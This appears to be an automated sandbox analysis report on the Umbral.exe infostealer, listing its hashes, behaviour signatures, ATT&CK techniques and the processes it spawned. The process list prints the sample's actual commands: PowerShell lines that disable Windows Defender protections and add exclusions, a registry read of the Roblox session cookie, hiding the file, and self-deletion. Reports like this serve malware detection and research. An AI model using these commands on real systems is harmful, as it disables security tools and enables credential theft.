Analysis
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max time kernel
1359s -
max time network
1149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-uk -
resource tags
arch:x64arch:x86image:win10v2004-20240802-uklocale:uk-uaos:windows10-2004-x64systemwindows -
submitted
21-08-2024 07:39
General
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Target
Umbral.exe
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Size
231KB
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MD5
dae35caa4639b153b0531ec0ed895a79
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SHA1
03326ba6ddbc338f6165697e86a1439826c7af2b
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SHA256
23f54c809daf84b074a3286df27497739b43f5f98a521e29050a5083f2d405e7
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SHA512
a270a4212187e2292f1b9884c916232fbabfdc45356a32896150c7b7d93a3d9abe173281bff90f7ab35654abce82cba9c55ebeb98de8c612241277ea48bc5d12
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SSDEEP
6144:xloZM+rIkd8g+EtXHkv/iD4bhIqlZ8e1mKgi:DoZtL+EP8v7/
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2972-1-0x000002200A1C0000-0x000002200A200000-memory.dmp family_umbral -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3788 powershell.exe 2732 powershell.exe 4824 powershell.exe 2688 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 38 discord.com 39 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5084 cmd.exe 1660 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3060 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1660 PING.EXE -
Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 2972 Umbral.exe 3788 powershell.exe 3788 powershell.exe 2732 powershell.exe 2732 powershell.exe 4824 powershell.exe 4824 powershell.exe 3128 powershell.exe 3128 powershell.exe 2688 powershell.exe 2688 powershell.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2972 Umbral.exe Token: SeIncreaseQuotaPrivilege 936 wmic.exe Token: SeSecurityPrivilege 936 wmic.exe Token: SeTakeOwnershipPrivilege 936 wmic.exe Token: SeLoadDriverPrivilege 936 wmic.exe Token: SeSystemProfilePrivilege 936 wmic.exe Token: SeSystemtimePrivilege 936 wmic.exe Token: SeProfSingleProcessPrivilege 936 wmic.exe Token: SeIncBasePriorityPrivilege 936 wmic.exe Token: SeCreatePagefilePrivilege 936 wmic.exe Token: SeBackupPrivilege 936 wmic.exe Token: SeRestorePrivilege 936 wmic.exe Token: SeShutdownPrivilege 936 wmic.exe Token: SeDebugPrivilege 936 wmic.exe Token: SeSystemEnvironmentPrivilege 936 wmic.exe Token: SeRemoteShutdownPrivilege 936 wmic.exe Token: SeUndockPrivilege 936 wmic.exe Token: SeManageVolumePrivilege 936 wmic.exe Token: 33 936 wmic.exe Token: 34 936 wmic.exe Token: 35 936 wmic.exe Token: 36 936 wmic.exe Token: SeIncreaseQuotaPrivilege 936 wmic.exe Token: SeSecurityPrivilege 936 wmic.exe Token: SeTakeOwnershipPrivilege 936 wmic.exe Token: SeLoadDriverPrivilege 936 wmic.exe Token: SeSystemProfilePrivilege 936 wmic.exe Token: SeSystemtimePrivilege 936 wmic.exe Token: SeProfSingleProcessPrivilege 936 wmic.exe Token: SeIncBasePriorityPrivilege 936 wmic.exe Token: SeCreatePagefilePrivilege 936 wmic.exe Token: SeBackupPrivilege 936 wmic.exe Token: SeRestorePrivilege 936 wmic.exe Token: SeShutdownPrivilege 936 wmic.exe Token: SeDebugPrivilege 936 wmic.exe Token: SeSystemEnvironmentPrivilege 936 wmic.exe Token: SeRemoteShutdownPrivilege 936 wmic.exe Token: SeUndockPrivilege 936 wmic.exe Token: SeManageVolumePrivilege 936 wmic.exe Token: 33 936 wmic.exe Token: 34 936 wmic.exe Token: 35 936 wmic.exe Token: 36 936 wmic.exe Token: SeDebugPrivilege 3788 powershell.exe Token: SeDebugPrivilege 2732 powershell.exe Token: SeDebugPrivilege 4824 powershell.exe Token: SeDebugPrivilege 3128 powershell.exe Token: SeIncreaseQuotaPrivilege 2740 wmic.exe Token: SeSecurityPrivilege 2740 wmic.exe Token: SeTakeOwnershipPrivilege 2740 wmic.exe Token: SeLoadDriverPrivilege 2740 wmic.exe Token: SeSystemProfilePrivilege 2740 wmic.exe Token: SeSystemtimePrivilege 2740 wmic.exe Token: SeProfSingleProcessPrivilege 2740 wmic.exe Token: SeIncBasePriorityPrivilege 2740 wmic.exe Token: SeCreatePagefilePrivilege 2740 wmic.exe Token: SeBackupPrivilege 2740 wmic.exe Token: SeRestorePrivilege 2740 wmic.exe Token: SeShutdownPrivilege 2740 wmic.exe Token: SeDebugPrivilege 2740 wmic.exe Token: SeSystemEnvironmentPrivilege 2740 wmic.exe Token: SeRemoteShutdownPrivilege 2740 wmic.exe Token: SeUndockPrivilege 2740 wmic.exe Token: SeManageVolumePrivilege 2740 wmic.exe -
Suspicious use of FindShellTrayWindow 44 IoCs
pid Process 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe -
Suspicious use of SendNotifyMessage 44 IoCs
pid Process 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe 4564 taskmgr.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 2972 wrote to memory of 936 2972 Umbral.exe 85 PID 2972 wrote to memory of 936 2972 Umbral.exe 85 PID 2972 wrote to memory of 2728 2972 Umbral.exe 91 PID 2972 wrote to memory of 2728 2972 Umbral.exe 91 PID 2972 wrote to memory of 3788 2972 Umbral.exe 93 PID 2972 wrote to memory of 3788 2972 Umbral.exe 93 PID 2972 wrote to memory of 2732 2972 Umbral.exe 95 PID 2972 wrote to memory of 2732 2972 Umbral.exe 95 PID 2972 wrote to memory of 4824 2972 Umbral.exe 97 PID 2972 wrote to memory of 4824 2972 Umbral.exe 97 PID 2972 wrote to memory of 3128 2972 Umbral.exe 99 PID 2972 wrote to memory of 3128 2972 Umbral.exe 99 PID 2972 wrote to memory of 2740 2972 Umbral.exe 103 PID 2972 wrote to memory of 2740 2972 Umbral.exe 103 PID 2972 wrote to memory of 4216 2972 Umbral.exe 105 PID 2972 wrote to memory of 4216 2972 Umbral.exe 105 PID 2972 wrote to memory of 4320 2972 Umbral.exe 107 PID 2972 wrote to memory of 4320 2972 Umbral.exe 107 PID 2972 wrote to memory of 2688 2972 Umbral.exe 109 PID 2972 wrote to memory of 2688 2972 Umbral.exe 109 PID 2972 wrote to memory of 3060 2972 Umbral.exe 111 PID 2972 wrote to memory of 3060 2972 Umbral.exe 111 PID 2972 wrote to memory of 5084 2972 Umbral.exe 117 PID 2972 wrote to memory of 5084 2972 Umbral.exe 117 PID 5084 wrote to memory of 1660 5084 cmd.exe 119 PID 5084 wrote to memory of 1660 5084 cmd.exe 119 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2728 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:936
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Views/modifies file attributes
PID:2728
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3788
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2732
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3128
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:4216
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:4320
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2688
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:3060
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1660
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4564
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
948B
MD5084f18b6ff291729e6f5cf628977198e
SHA1c82d27261030eef59ad2258d4eeb9119116a67a1
SHA256a7570027dec18cac2a8bdefe9c49621040d12f4f07d935202a66691a119a9ee1
SHA5128835aaec15895d90c724b0a7671f7b68dae23389124949336d2fa7d8fffe980421b625d8d8a0a73f9a6e9affc23c0ccdcc5998820adcf5829df7bd1fa7e6c73a
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD5ec79fae4e7c09310ebf4f2d85a33a638
SHA1f2bdd995b12e65e7ed437d228f22223b59e76efb
SHA256e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a
SHA512af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82